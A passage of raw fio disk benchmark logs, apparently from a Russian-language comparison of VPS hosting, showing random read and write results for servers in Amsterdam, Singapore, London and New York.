WRITE: io=254516KB, aggrb=4240KB/s, minb=4240KB/s, maxb=4240KB/s, mint=60014msec, maxt=60014msec
Disk stats (read/write):
vda: ios=688/63671, merge=0/1910, ticks=548/55720, in_queue=56248, util=92.49%
```
**fio (Нидерланды, Амстердам)**Read
```
benchmark: (g=0): rw=randread, bs=4K-4K/4K-4K/4K-4K, ioengine=sync, iodepth=32
...
fio-2.8
Starting 8 processes
benchmark: Laying out IO file(s) (1 file(s) / 256MB)
benchmark: Laying out IO file(s) (1 file(s) / 256MB)
benchmark: Laying out IO file(s) (1 file(s) / 256MB)
benchmark: Laying out IO file(s) (1 file(s) / 256MB)
benchmark: Laying out IO file(s) (1 file(s) / 256MB)
benchmark: Laying out IO file(s) (1 file(s) / 256MB)
benchmark: Laying out IO file(s) (1 file(s) / 256MB)
benchmark: Laying out IO file(s) (1 file(s) / 256MB)
benchmark: (groupid=0, jobs=8): err= 0: pid=5714: Wed Dec 11 14:41:53 2019
read : io=1601.9MB, bw=27335KB/s, iops=6833, runt= 60009msec
clat (usec): min=147, max=100526, avg=1153.46, stdev=1994.16
lat (usec): min=148, max=100527, avg=1155.92, stdev=1997.60
clat percentiles (usec):
| 1.00th=[ 209], 5.00th=[ 245], 10.00th=[ 270], 20.00th=[ 338],
| 30.00th=[ 446], 40.00th=[ 540], 50.00th=[ 628], 60.00th=[ 748],
| 70.00th=[ 940], 80.00th=[ 1272], 90.00th=[ 2192], 95.00th=[ 3728],
| 99.00th=[10176], 99.50th=[13888], 99.90th=[23680], 99.95th=[27776],
| 99.99th=[35584]
bw (KB /s): min= 1928, max= 7392, per=12.49%, avg=3415.22, stdev=835.60
lat (usec) : 250=5.96%, 500=28.91%, 750=25.29%, 1000=12.39%
lat (msec) : 2=16.24%, 4=6.70%, 10=3.48%, 20=0.85%, 50=0.18%
lat (msec) : 100=0.01%, 250=0.01%
cpu : usr=1.45%, sys=4.77%, ctx=415144, majf=0, minf=90
IO depths : 1=100.0%, 2=0.0%, 4=0.0%, 8=0.0%, 16=0.0%, 32=0.0%, >=64=0.0%
submit : 0=0.0%, 4=100.0%, 8=0.0%, 16=0.0%, 32=0.0%, 64=0.0%, >=64=0.0%
complete : 0=0.0%, 4=100.0%, 8=0.0%, 16=0.0%, 32=0.0%, 64=0.0%, >=64=0.0%
issued : total=r=410080/w=0/d=0, short=r=0/w=0/d=0, drop=r=0/w=0/d=0
latency : target=0, window=0, percentile=100.00%, depth=32
Run status group 0 (all jobs):
READ: io=1601.9MB, aggrb=27334KB/s, minb=27334KB/s, maxb=27334KB/s, mint=60009msec, maxt=60009msec
Disk stats (read/write):
vda: ios=409241/8, merge=0/6, ticks=311748/96, in_queue=311500, util=86.72%
```
Write
```
benchmark: (g=0): rw=randwrite, bs=4K-4K/4K-4K/4K-4K, ioengine=sync, iodepth=32
...
fio-2.8
Starting 8 processes
benchmark: Laying out IO file(s) (1 file(s) / 256MB)
benchmark: (groupid=0, jobs=8): err= 0: pid=5746: Wed Dec 11 14:43:59 2019
write: io=10688MB, bw=182382KB/s, iops=45595, runt= 60009msec
clat (usec): min=2, max=384094, avg=108.20, stdev=2173.94
lat (usec): min=3, max=384096, avg=118.33, stdev=2308.57
clat percentiles (usec):
| 1.00th=[ 3], 5.00th=[ 4], 10.00th=[ 4], 20.00th=[ 4],
| 30.00th=[ 4], 40.00th=[ 5], 50.00th=[ 5], 60.00th=[ 5],
| 70.00th=[ 5], 80.00th=[ 5], 90.00th=[ 6], 95.00th=[ 8],
| 99.00th=[ 34], 99.50th=[ 2608], 99.90th=[28032], 99.95th=[37632],
| 99.99th=[76288]
bw (KB /s): min= 0, max=45740, per=13.54%, avg=24689.24, stdev=8568.82
lat (usec) : 4=1.12%, 10=95.58%, 20=1.91%, 50=0.51%, 100=0.12%
lat (usec) : 250=0.13%, 500=0.06%, 750=0.02%, 1000=0.01%
lat (msec) : 2=0.03%, 4=0.04%, 10=0.13%, 20=0.17%, 50=0.15%
lat (msec) : 100=0.02%, 250=0.01%, 500=0.01%
cpu : usr=3.78%, sys=5.14%, ctx=39912, majf=0, minf=83
IO depths : 1=100.0%, 2=0.0%, 4=0.0%, 8=0.0%, 16=0.0%, 32=0.0%, >=64=0.0%
submit : 0=0.0%, 4=100.0%, 8=0.0%, 16=0.0%, 32=0.0%, 64=0.0%, >=64=0.0%
complete : 0=0.0%, 4=100.0%, 8=0.0%, 16=0.0%, 32=0.0%, 64=0.0%, >=64=0.0%
issued : total=r=0/w=2736147/d=0, short=r=0/w=0/d=0, drop=r=0/w=0/d=0
latency : target=0, window=0, percentile=100.00%, depth=32
Run status group 0 (all jobs):
WRITE: io=10688MB, aggrb=182382KB/s, minb=182382KB/s, maxb=182382KB/s, mint=60009msec, maxt=60009msec
Disk stats (read/write):
vda: ios=170/452541, merge=0/4470, ticks=592/4649176, in_queue=4650320, util=90.11%
```
Direct read
```
benchmark: (g=0): rw=randread, bs=4K-4K/4K-4K/4K-4K, ioengine=sync, iodepth=32
...
fio-2.8
Starting 8 processes
benchmark: Laying out IO file(s) (1 file(s) / 256MB)
benchmark: Laying out IO file(s) (1 file(s) / 256MB)
benchmark: Laying out IO file(s) (1 file(s) / 256MB)
benchmark: Laying out IO file(s) (1 file(s) / 256MB)
benchmark: Laying out IO file(s) (1 file(s) / 256MB)
benchmark: Laying out IO file(s) (1 file(s) / 256MB)
benchmark: Laying out IO file(s) (1 file(s) / 256MB)
benchmark: Laying out IO file(s) (1 file(s) / 256MB)
benchmark: (groupid=0, jobs=8): err= 0: pid=5733: Wed Dec 11 14:42:59 2019
read : io=1587.8MB, bw=27097KB/s, iops=6774, runt= 60003msec
clat (usec): min=146, max=129531, avg=1163.40, stdev=1924.84
lat (usec): min=147, max=129532, avg=1165.57, stdev=1926.44
clat percentiles (usec):
| 1.00th=[ 215], 5.00th=[ 258], 10.00th=[ 298], 20.00th=[ 402],
| 30.00th=[ 502], 40.00th=[ 572], 50.00th=[ 652], 60.00th=[ 772],
| 70.00th=[ 956], 80.00th=[ 1288], 90.00th=[ 2192], 95.00th=[ 3600],
| 99.00th=[ 9664], 99.50th=[12992], 99.90th=[22400], 99.95th=[26496],
| 99.99th=[38656]
bw (KB /s): min= 1720, max= 5008, per=12.52%, avg=3391.80, stdev=509.87
lat (usec) : 250=4.06%, 500=25.57%, 750=28.59%, 1000=13.68%
lat (msec) : 2=16.84%, 4=6.99%, 10=3.33%, 20=0.78%, 50=0.15%
lat (msec) : 100=0.01%, 250=0.01%
cpu : usr=1.64%, sys=4.62%, ctx=408046, majf=0, minf=82
IO depths : 1=100.0%, 2=0.0%, 4=0.0%, 8=0.0%, 16=0.0%, 32=0.0%, >=64=0.0%
submit : 0=0.0%, 4=100.0%, 8=0.0%, 16=0.0%, 32=0.0%, 64=0.0%, >=64=0.0%
complete : 0=0.0%, 4=100.0%, 8=0.0%, 16=0.0%, 32=0.0%, 64=0.0%, >=64=0.0%
issued : total=r=406469/w=0/d=0, short=r=0/w=0/d=0, drop=r=0/w=0/d=0
latency : target=0, window=0, percentile=100.00%, depth=32
Run status group 0 (all jobs):
READ: io=1587.8MB, aggrb=27096KB/s, minb=27096KB/s, maxb=27096KB/s, mint=60003msec, maxt=60003msec
Disk stats (read/write):
vda: ios=405647/8, merge=0/7, ticks=300840/196, in_queue=300772, util=84.98%
```
Direct write
```
benchmark: (g=0): rw=randwrite, bs=4K-4K/4K-4K/4K-4K, ioengine=sync, iodepth=32
...
fio-2.8
Starting 8 processes
benchmark: Laying out IO file(s) (1 file(s) / 256MB)
benchmark: (groupid=0, jobs=8): err= 0: pid=5759: Wed Dec 11 14:45:00 2019
write: io=188084KB, bw=3133.5KB/s, iops=783, runt= 60024msec
clat (usec): min=639, max=249688, avg=10195.17, stdev=29490.37
lat (usec): min=640, max=249690, avg=10197.12, stdev=29490.47
clat percentiles (usec):
| 1.00th=[ 692], 5.00th=[ 724], 10.00th=[ 748], 20.00th=[ 804],
| 30.00th=[ 892], 40.00th=[ 1004], 50.00th=[ 1096], 60.00th=[ 1192],
| 70.00th=[ 1368], 80.00th=[ 1688], 90.00th=[ 4320], 95.00th=[102912],
| 99.00th=[119296], 99.50th=[126464], 99.90th=[146432], 99.95th=[150528],
| 99.99th=[246784]
bw (KB /s): min= 135, max= 728, per=12.57%, avg=393.66, stdev=111.76
lat (usec) : 750=10.98%, 1000=28.18%
lat (msec) : 2=44.97%, 4=5.64%, 10=1.47%, 20=0.11%, 50=0.13%
lat (msec) : 100=2.51%, 250=6.02%
cpu : usr=0.28%, sys=0.93%, ctx=98320, majf=0, minf=81
IO depths : 1=100.0%, 2=0.0%, 4=0.0%, 8=0.0%, 16=0.0%, 32=0.0%, >=64=0.0%
submit : 0=0.0%, 4=100.0%, 8=0.0%, 16=0.0%, 32=0.0%, 64=0.0%, >=64=0.0%
complete : 0=0.0%, 4=100.0%, 8=0.0%, 16=0.0%, 32=0.0%, 64=0.0%, >=64=0.0%
issued : total=r=0/w=47021/d=0, short=r=0/w=0/d=0, drop=r=0/w=0/d=0
latency : target=0, window=0, percentile=100.00%, depth=32
Run status group 0 (all jobs):
WRITE: io=188084KB, aggrb=3133KB/s, minb=3133KB/s, maxb=3133KB/s, mint=60024msec, maxt=60024msec
Disk stats (read/write):
vda: ios=660/47082, merge=0/1723, ticks=944/54796, in_queue=55720, util=90.97%
```
**fio (Сингапур)**Read
```
benchmark: (g=0): rw=randread, bs=4K-4K/4K-4K/4K-4K, ioengine=sync, iodepth=32
...
fio-2.8
Starting 8 processes
benchmark: Laying out IO file(s) (1 file(s) / 256MB)
benchmark: Laying out IO file(s) (1 file(s) / 256MB)
benchmark: Laying out IO file(s) (1 file(s) / 256MB)
benchmark: Laying out IO file(s) (1 file(s) / 256MB)
benchmark: Laying out IO file(s) (1 file(s) / 256MB)
benchmark: Laying out IO file(s) (1 file(s) / 256MB)
benchmark: Laying out IO file(s) (1 file(s) / 256MB)
benchmark: Laying out IO file(s) (1 file(s) / 256MB)
benchmark: (groupid=0, jobs=8): err= 0: pid=26021: Wed Dec 11 18:38:21 2019
read : io=4308.6MB, bw=73532KB/s, iops=18382, runt= 60001msec
clat (usec): min=2, max=75156, avg=428.64, stdev=674.69
lat (usec): min=2, max=75156, avg=429.66, stdev=674.74
clat percentiles (usec):
| 1.00th=[ 3], 5.00th=[ 153], 10.00th=[ 187], 20.00th=[ 215],
| 30.00th=[ 237], 40.00th=[ 262], 50.00th=[ 298], 60.00th=[ 350],
| 70.00th=[ 414], 80.00th=[ 502], 90.00th=[ 652], 95.00th=[ 900],
| 99.00th=[ 3056], 99.50th=[ 4320], 99.90th=[ 7648], 99.95th=[ 9792],
| 99.99th=[14784]
bw (KB /s): min= 3133, max=13504, per=12.49%, avg=9181.87, stdev=1826.22
lat (usec) : 4=1.88%, 10=2.65%, 20=0.22%, 50=0.03%, 100=0.01%
lat (usec) : 250=30.28%, 500=44.58%, 750=13.23%, 1000=2.86%
lat (msec) : 2=2.33%, 4=1.35%, 10=0.54%, 20=0.04%, 50=0.01%
lat (msec) : 100=0.01%
cpu : usr=1.72%, sys=4.35%, ctx=1055602, majf=0, minf=81
IO depths : 1=100.0%, 2=0.0%, 4=0.0%, 8=0.0%, 16=0.0%, 32=0.0%, >=64=0.0%
submit : 0=0.0%, 4=100.0%, 8=0.0%, 16=0.0%, 32=0.0%, 64=0.0%, >=64=0.0%
complete : 0=0.0%, 4=100.0%, 8=0.0%, 16=0.0%, 32=0.0%, 64=0.0%, >=64=0.0%
issued : total=r=1102992/w=0/d=0, short=r=0/w=0/d=0, drop=r=0/w=0/d=0
latency : target=0, window=0, percentile=100.00%, depth=32
Run status group 0 (all jobs):
READ: io=4308.6MB, aggrb=73531KB/s, minb=73531KB/s, maxb=73531KB/s, mint=60001msec, maxt=60001msec
Disk stats (read/write):
vda: ios=1047795/8, merge=0/6, ticks=390052/52, in_queue=389732, util=97.89%
```
Write
```
benchmark: (g=0): rw=randwrite, bs=4K-4K/4K-4K/4K-4K, ioengine=sync, iodepth=32
...
fio-2.8
Starting 8 processes
benchmark: Laying out IO file(s) (1 file(s) / 256MB)
benchmark: (groupid=0, jobs=8): err= 0: pid=26051: Wed Dec 11 18:40:26 2019
write: io=22990MB, bw=392328KB/s, iops=98081, runt= 60006msec
clat (usec): min=1, max=369457, avg=55.42, stdev=1456.41
lat (usec): min=2, max=369458, avg=59.90, stdev=1504.16
clat percentiles (usec):
| 1.00th=[ 2], 5.00th=[ 3], 10.00th=[ 3], 20.00th=[ 3],
| 30.00th=[ 3], 40.00th=[ 4], 50.00th=[ 4], 60.00th=[ 4],
| 70.00th=[ 4], 80.00th=[ 4], 90.00th=[ 5], 95.00th=[ 5],
| 99.00th=[ 9], 99.50th=[ 22], 99.90th=[16768], 99.95th=[22656],
| 99.99th=[37120]
bw (KB /s): min= 0, max=70700, per=13.09%, avg=51347.13, stdev=13217.67
lat (usec) : 2=0.01%, 4=39.98%, 10=59.15%, 20=0.32%, 50=0.18%
lat (usec) : 100=0.02%, 250=0.01%, 500=0.01%, 750=0.01%, 1000=0.01%
lat (msec) : 2=0.01%, 4=0.02%, 10=0.09%, 20=0.13%, 50=0.07%
lat (msec) : 100=0.01%, 250=0.01%, 500=0.01%
cpu : usr=3.92%, sys=5.85%, ctx=47216, majf=0, minf=82
IO depths : 1=100.0%, 2=0.0%, 4=0.0%, 8=0.0%, 16=0.0%, 32=0.0%, >=64=0.0%
submit : 0=0.0%, 4=100.0%, 8=0.0%, 16=0.0%, 32=0.0%, 64=0.0%, >=64=0.0%
complete : 0=0.0%, 4=100.0%, 8=0.0%, 16=0.0%, 32=0.0%, 64=0.0%, >=64=0.0%
issued : total=r=0/w=5885501/d=0, short=r=0/w=0/d=0, drop=r=0/w=0/d=0
latency : target=0, window=0, percentile=100.00%, depth=32
Run status group 0 (all jobs):
WRITE: io=22990MB, aggrb=392327KB/s, minb=392327KB/s, maxb=392327KB/s, mint=60006msec, maxt=60006msec
Disk stats (read/write):
vda: ios=253/695603, merge=0/4848, ticks=460/6040768, in_queue=6041620, util=94.92%
```
Direct read
```
benchmark: (g=0): rw=randread, bs=4K-4K/4K-4K/4K-4K, ioengine=sync, iodepth=32
...
fio-2.8
Starting 8 processes
benchmark: Laying out IO file(s) (1 file(s) / 256MB)
benchmark: Laying out IO file(s) (1 file(s) / 256MB)
benchmark: Laying out IO file(s) (1 file(s) / 256MB)
benchmark: Laying out IO file(s) (1 file(s) / 256MB)
benchmark: Laying out IO file(s) (1 file(s) / 256MB)
benchmark: Laying out IO file(s) (1 file(s) / 256MB)
benchmark: Laying out IO file(s) (1 file(s) / 256MB)
benchmark: Laying out IO file(s) (1 file(s) / 256MB)
benchmark: (groupid=0, jobs=8): err= 0: pid=26034: Wed Dec 11 18:39:26 2019
read : io=4060.6MB, bw=69297KB/s, iops=17324, runt= 60002msec
clat (usec): min=126, max=73471, avg=454.91, stdev=816.66
lat (usec): min=127, max=73472, avg=455.93, stdev=816.68
clat percentiles (usec):
| 1.00th=[ 161], 5.00th=[ 179], 10.00th=[ 191], 20.00th=[ 211],
| 30.00th=[ 229], 40.00th=[ 249], 50.00th=[ 274], 60.00th=[ 314],
| 70.00th=[ 374], 80.00th=[ 466], 90.00th=[ 636], 95.00th=[ 996],
| 99.00th=[ 4320], 99.50th=[ 5664], 99.90th=[ 8384], 99.95th=[ 9920],
| 99.99th=[16320]
bw (KB /s): min= 3722, max=14064, per=12.47%, avg=8642.03, stdev=2176.97
lat (usec) : 250=40.65%, 500=42.13%, 750=10.05%, 1000=2.20%
lat (msec) : 2=2.13%, 4=1.68%, 10=1.11%, 20=0.04%, 50=0.01%
lat (msec) : 100=0.01%
cpu : usr=1.66%, sys=3.86%, ctx=1045614, majf=0, minf=81
IO depths : 1=100.0%, 2=0.0%, 4=0.0%, 8=0.0%, 16=0.0%, 32=0.0%, >=64=0.0%
submit : 0=0.0%, 4=100.0%, 8=0.0%, 16=0.0%, 32=0.0%, 64=0.0%, >=64=0.0%
complete : 0=0.0%, 4=100.0%, 8=0.0%, 16=0.0%, 32=0.0%, 64=0.0%, >=64=0.0%
issued : total=r=1039489/w=0/d=0, short=r=0/w=0/d=0, drop=r=0/w=0/d=0
latency : target=0, window=0, percentile=100.00%, depth=32
Run status group 0 (all jobs):
READ: io=4060.6MB, aggrb=69296KB/s, minb=69296KB/s, maxb=69296KB/s, mint=60002msec, maxt=60002msec
Disk stats (read/write):
vda: ios=1035654/8, merge=0/7, ticks=408452/1488, in_queue=409680, util=98.90%
```
Direct write
```
benchmark: (g=0): rw=randwrite, bs=4K-4K/4K-4K/4K-4K, ioengine=sync, iodepth=32
...
fio-2.8
Starting 8 processes
benchmark: Laying out IO file(s) (1 file(s) / 256MB)
benchmark: (groupid=0, jobs=8): err= 0: pid=26068: Wed Dec 11 18:41:27 2019
write: io=131456KB, bw=2190.6KB/s, iops=547, runt= 60012msec
clat (usec): min=613, max=1435.9K, avg=14593.78, stdev=50405.98
lat (usec): min=614, max=1435.9K, avg=14595.36, stdev=50406.03
clat percentiles (usec):
| 1.00th=[ 684], 5.00th=[ 732], 10.00th=[ 812], 20.00th=[ 964],
| 30.00th=[ 1064], 40.00th=[ 1192], 50.00th=[ 1336], 60.00th=[ 1560],
| 70.00th=[ 1880], 80.00th=[ 2448], 90.00th=[ 6112], 95.00th=[132096],
| 99.00th=[214016], 99.50th=[268288], 99.90th=[411648], 99.95th=[468992],
| 99.99th=[1400832]
bw (KB /s): min= 2, max= 672, per=12.89%, avg=282.21, stdev=143.92
lat (usec) : 750=6.13%, 1000=16.97%
lat (msec) : 2=49.80%, 4=14.23%, 10=4.16%, 20=0.69%, 50=0.21%
lat (msec) : 100=0.05%, 250=7.07%, 500=0.67%, 750=0.01%, 2000=0.02%
cpu : usr=0.13%, sys=0.58%, ctx=68429, majf=0, minf=83
IO depths : 1=100.0%, 2=0.0%, 4=0.0%, 8=0.0%, 16=0.0%, 32=0.0%, >=64=0.0%
submit : 0=0.0%, 4=100.0%, 8=0.0%, 16=0.0%, 32=0.0%, 64=0.0%, >=64=0.0%
complete : 0=0.0%, 4=100.0%, 8=0.0%, 16=0.0%, 32=0.0%, 64=0.0%, >=64=0.0%
issued : total=r=0/w=32864/d=0, short=r=0/w=0/d=0, drop=r=0/w=0/d=0
latency : target=0, window=0, percentile=100.00%, depth=32
Run status group 0 (all jobs):
WRITE: io=131456KB, aggrb=2190KB/s, minb=2190KB/s, maxb=2190KB/s, mint=60012msec, maxt=60012msec
Disk stats (read/write):
vda: ios=261/32874, merge=0/1477, ticks=160/56864, in_queue=57012, util=94.50%
```
**fio (Великобритания, Лондон)**Read
```
benchmark: (g=0): rw=randread, bs=4K-4K/4K-4K/4K-4K, ioengine=sync, iodepth=32
...
fio-2.8
Starting 8 processes
benchmark: Laying out IO file(s) (1 file(s) / 256MB)
benchmark: Laying out IO file(s) (1 file(s) / 256MB)
benchmark: Laying out IO file(s) (1 file(s) / 256MB)
benchmark: Laying out IO file(s) (1 file(s) / 256MB)
benchmark: Laying out IO file(s) (1 file(s) / 256MB)
benchmark: Laying out IO file(s) (1 file(s) / 256MB)
benchmark: Laying out IO file(s) (1 file(s) / 256MB)
benchmark: Laying out IO file(s) (1 file(s) / 256MB)
benchmark: (groupid=0, jobs=8): err= 0: pid=31964: Thu Dec 12 12:59:43 2019
read : io=4469.1MB, bw=76286KB/s, iops=19071, runt= 60001msec
clat (usec): min=1, max=57633, avg=412.24, stdev=553.46
lat (usec): min=2, max=57635, avg=413.42, stdev=553.53
clat percentiles (usec):
| 1.00th=[ 3], 5.00th=[ 8], 10.00th=[ 187], 20.00th=[ 221],
| 30.00th=[ 249], 40.00th=[ 278], 50.00th=[ 318], 60.00th=[ 362],
| 70.00th=[ 422], 80.00th=[ 506], 90.00th=[ 652], 95.00th=[ 852],
| 99.00th=[ 2480], 99.50th=[ 3152], 99.90th=[ 5472], 99.95th=[ 7712],
| 99.99th=[17280]
bw (KB /s): min= 4344, max=15384, per=12.49%, avg=9524.23, stdev=1621.11
lat (usec) : 2=0.01%, 4=2.21%, 10=2.89%, 20=0.24%, 50=0.08%
lat (usec) : 100=0.01%, 250=25.20%, 500=48.91%, 750=13.74%, 1000=3.08%
lat (msec) : 2=2.17%, 4=1.24%, 10=0.19%, 20=0.03%, 50=0.01%
lat (msec) : 100=0.01%
cpu : usr=1.86%, sys=4.84%, ctx=1086469, majf=1, minf=88
IO depths : 1=100.0%, 2=0.0%, 4=0.0%, 8=0.0%, 16=0.0%, 32=0.0%, >=64=0.0%
submit : 0=0.0%, 4=100.0%, 8=0.0%, 16=0.0%, 32=0.0%, 64=0.0%, >=64=0.0%
complete : 0=0.0%, 4=100.0%, 8=0.0%, 16=0.0%, 32=0.0%, 64=0.0%, >=64=0.0%
issued : total=r=1144306/w=0/d=0, short=r=0/w=0/d=0, drop=r=0/w=0/d=0
latency : target=0, window=0, percentile=100.00%, depth=32
Run status group 0 (all jobs):
READ: io=4469.1MB, aggrb=76285KB/s, minb=76285KB/s, maxb=76285KB/s, mint=60001msec, maxt=60001msec
Disk stats (read/write):
vda: ios=1078551/8, merge=0/6, ticks=391976/24, in_queue=391736, util=98.85%
```
Write
```
benchmark: (g=0): rw=randwrite, bs=4K-4K/4K-4K/4K-4K, ioengine=sync, iodepth=32
...
fio-2.8
Starting 8 processes
benchmark: Laying out IO file(s) (1 file(s) / 256MB)
benchmark: (groupid=0, jobs=8): err= 0: pid=32007: Thu Dec 12 13:01:50 2019
write: io=17383MB, bw=296475KB/s, iops=74118, runt= 60038msec
clat (usec): min=1, max=634520, avg=80.43, stdev=2797.83
lat (usec): min=2, max=634522, avg=84.20, stdev=2824.23
clat percentiles (usec):
| 1.00th=[ 2], 5.00th=[ 3], 10.00th=[ 3], 20.00th=[ 3],
| 30.00th=[ 3], 40.00th=[ 3], 50.00th=[ 3], 60.00th=[ 4],
| 70.00th=[ 4], 80.00th=[ 4], 90.00th=[ 5], 95.00th=[ 5],
| 99.00th=[ 9], 99.50th=[ 18], 99.90th=[20096], 99.95th=[35072],
| 99.99th=[87552]
bw (KB /s): min= 0, max=87481, per=13.99%, avg=41472.38, stdev=18398.46
lat (usec) : 2=0.01%, 4=55.86%, 10=43.23%, 20=0.45%, 50=0.13%
lat (usec) : 100=0.02%, 250=0.01%, 500=0.01%, 750=0.01%, 1000=0.01%
lat (msec) : 2=0.01%, 4=0.02%, 10=0.07%, 20=0.10%, 50=0.08%
lat (msec) : 100=0.02%, 250=0.01%, 500=0.01%, 750=0.01%
cpu : usr=2.82%, sys=4.31%, ctx=36944, majf=0, minf=76
IO depths : 1=100.0%, 2=0.0%, 4=0.0%, 8=0.0%, 16=0.0%, 32=0.0%, >=64=0.0%
submit : 0=0.0%, 4=100.0%, 8=0.0%, 16=0.0%, 32=0.0%, 64=0.0%, >=64=0.0%
complete : 0=0.0%, 4=100.0%, 8=0.0%, 16=0.0%, 32=0.0%, 64=0.0%, >=64=0.0%
issued : total=r=0/w=4449946/d=0, short=r=0/w=0/d=0, drop=r=0/w=0/d=0
latency : target=0, window=0, percentile=100.00%, depth=32
Run status group 0 (all jobs):
WRITE: io=17383MB, aggrb=296475KB/s, minb=296475KB/s, maxb=296475KB/s, mint=60038msec, maxt=60038msec
Disk stats (read/write):
vda: ios=262/323640, merge=0/6202, ticks=144/5185996, in_queue=5186620, util=96.41%
```
Direct read
```
benchmark: (g=0): rw=randread, bs=4K-4K/4K-4K/4K-4K, ioengine=sync, iodepth=32
...
fio-2.8
Starting 8 processes
benchmark: Laying out IO file(s) (1 file(s) / 256MB)
benchmark: Laying out IO file(s) (1 file(s) / 256MB)
benchmark: Laying out IO file(s) (1 file(s) / 256MB)
benchmark: Laying out IO file(s) (1 file(s) / 256MB)
benchmark: Laying out IO file(s) (1 file(s) / 256MB)
benchmark: Laying out IO file(s) (1 file(s) / 256MB)
benchmark: Laying out IO file(s) (1 file(s) / 256MB)
benchmark: Laying out IO file(s) (1 file(s) / 256MB)
benchmark: (groupid=0, jobs=8): err= 0: pid=31989: Thu Dec 12 13:00:50 2019
read : io=4223.6MB, bw=72081KB/s, iops=18020, runt= 60001msec
clat (usec): min=109, max=106784, avg=436.41, stdev=534.14
lat (usec): min=110, max=106785, avg=437.62, stdev=534.20
clat percentiles (usec):
| 1.00th=[ 165], 5.00th=[ 189], 10.00th=[ 207], 20.00th=[ 235],
| 30.00th=[ 262], 40.00th=[ 294], 50.00th=[ 334], 60.00th=[ 382],
| 70.00th=[ 442], 80.00th=[ 524], 90.00th=[ 676], 95.00th=[ 884],
| 99.00th=[ 2416], 99.50th=[ 2992], 99.90th=[ 4512], 99.95th=[ 5856],
| 99.99th=[14528]
bw (KB /s): min= 5672, max=11072, per=12.50%, avg=9011.87, stdev=833.30
lat (usec) : 250=25.62%, 500=51.60%, 750=15.32%, 1000=3.50%
lat (msec) : 2=2.49%, 4=1.31%, 10=0.13%, 20=0.01%, 50=0.01%
lat (msec) : 100=0.01%, 250=0.01%
cpu : usr=1.82%, sys=4.50%, ctx=1084188, majf=0, minf=82
IO depths : 1=100.0%, 2=0.0%, 4=0.0%, 8=0.0%, 16=0.0%, 32=0.0%, >=64=0.0%
submit : 0=0.0%, 4=100.0%, 8=0.0%, 16=0.0%, 32=0.0%, 64=0.0%, >=64=0.0%
complete : 0=0.0%, 4=100.0%, 8=0.0%, 16=0.0%, 32=0.0%, 64=0.0%, >=64=0.0%
issued : total=r=1081230/w=0/d=0, short=r=0/w=0/d=0, drop=r=0/w=0/d=0
latency : target=0, window=0, percentile=100.00%, depth=32
Run status group 0 (all jobs):
READ: io=4223.6MB, aggrb=72080KB/s, minb=72080KB/s, maxb=72080KB/s, mint=60001msec, maxt=60001msec
Disk stats (read/write):
vda: ios=1078880/8, merge=0/7, ticks=402188/24, in_queue=401836, util=99.65%
```
Direct write
```
benchmark: (g=0): rw=randwrite, bs=4K-4K/4K-4K/4K-4K, ioengine=sync, iodepth=32
...
fio-2.8
Starting 8 processes
benchmark: Laying out IO file(s) (1 file(s) / 256MB)
benchmark: (groupid=0, jobs=8): err= 0: pid=32033: Thu Dec 12 13:02:51 2019
write: io=91328KB, bw=1521.7KB/s, iops=380, runt= 60019msec
clat (usec): min=629, max=1370.1K, avg=21010.33, stdev=67213.73
lat (usec): min=631, max=1370.1K, avg=21012.43, stdev=67213.79
clat percentiles (usec):
| 1.00th=[ 868], 5.00th=[ 1032], 10.00th=[ 1144], 20.00th=[ 1304],
| 30.00th=[ 1464], 40.00th=[ 1656], 50.00th=[ 1880], 60.00th=[ 2192],
| 70.00th=[ 2672], 80.00th=[ 3888], 90.00th=[11072], 95.00th=[187392],
| 99.00th=[272384], 99.50th=[366592], 99.90th=[569344], 99.95th=[643072],
| 99.99th=[1318912]
bw (KB /s): min= 22, max= 360, per=12.77%, avg=194.30, stdev=56.49
lat (usec) : 750=0.12%, 1000=3.99%
lat (msec) : 2=50.22%, 4=26.11%, 10=9.22%, 20=1.34%, 50=0.39%
lat (msec) : 100=0.14%, 250=6.92%, 500=1.36%, 750=0.18%, 1000=0.01%
lat (msec) : 2000=0.03%
cpu : usr=0.10%, sys=0.45%, ctx=47653, majf=0, minf=82
IO depths : 1=100.0%, 2=0.0%, 4=0.0%, 8=0.0%, 16=0.0%, 32=0.0%, >=64=0.0%
submit : 0=0.0%, 4=100.0%, 8=0.0%, 16=0.0%, 32=0.0%, 64=0.0%, >=64=0.0%
complete : 0=0.0%, 4=100.0%, 8=0.0%, 16=0.0%, 32=0.0%, 64=0.0%, >=64=0.0%
issued : total=r=0/w=22832/d=0, short=r=0/w=0/d=0, drop=r=0/w=0/d=0
latency : target=0, window=0, percentile=100.00%, depth=32
Run status group 0 (all jobs):
WRITE: io=91328KB, aggrb=1521KB/s, minb=1521KB/s, maxb=1521KB/s, mint=60019msec, maxt=60019msec
Disk stats (read/write):
vda: ios=699/22885, merge=0/1284, ticks=488/58240, in_queue=58728, util=96.24%
```
**fio (США, Нью-Йорк)**Read
```
benchmark: (g=0): rw=randread, bs=4K-4K/4K-4K/4K-4K, ioengine=sync, iodepth=32
...
fio-2.8
Starting 8 processes
benchmark: Laying out IO file(s) (1 file(s) / 256MB)
benchmark: Laying out IO file(s) (1 file(s) / 256MB)
benchmark: Laying out IO file(s) (1 file(s) / 256MB)
benchmark: Laying out IO file(s) (1 file(s) / 256MB)
benchmark: Laying out IO file(s) (1 file(s) / 256MB)
benchmark: Laying out IO file(s) (1 file(s) / 256MB)
benchmark: Laying out IO file(s) (1 file(s) / 256MB)
benchmark: Laying out IO file(s) (1 file(s) / 256MB)
benchmark: (groupid=0, jobs=8): err= 0: pid=8043: Wed Dec 4 13:40:06 2019
read : io=8650.3MB, bw=147629KB/s, iops=36907, runt= 60001msec
clat (usec): min=1, max=12457, avg=212.16, stdev=168.73
lat (usec): min=2, max=12458, avg=212.93, stdev=168.79
clat percentiles (usec):
| 1.00th=[ 2], 5.00th=[ 3], 10.00th=[ 131], 20.00th=[ 171],
| 30.00th=[ 181], 40.00th=[ 191], 50.00th=[ 201], 60.00th=[ 211],
| 70.00th=[ 227], 80.00th=[ 253], 90.00th=[ 302], 95.00th=[ 358],
| 99.00th=[ 564], 99.50th=[ 836], 99.90th=[ 2544], 99.95th=[ 2928],
| 99.99th=[ 4640]
bw (KB /s): min=12872, max=25280, per=12.50%, avg=18457.17, stdev=2181.08
lat (usec) : 2=0.01%, 4=7.82%, 10=1.21%, 20=0.37%, 50=0.02%
lat (usec) : 100=0.04%, 250=69.71%, 500=19.41%, 750=0.83%, 1000=0.15%
lat (msec) : 2=0.20%, 4=0.20%, 10=0.01%, 20=0.01%
cpu : usr=2.25%, sys=5.84%, ctx=2010544, majf=2, minf=96
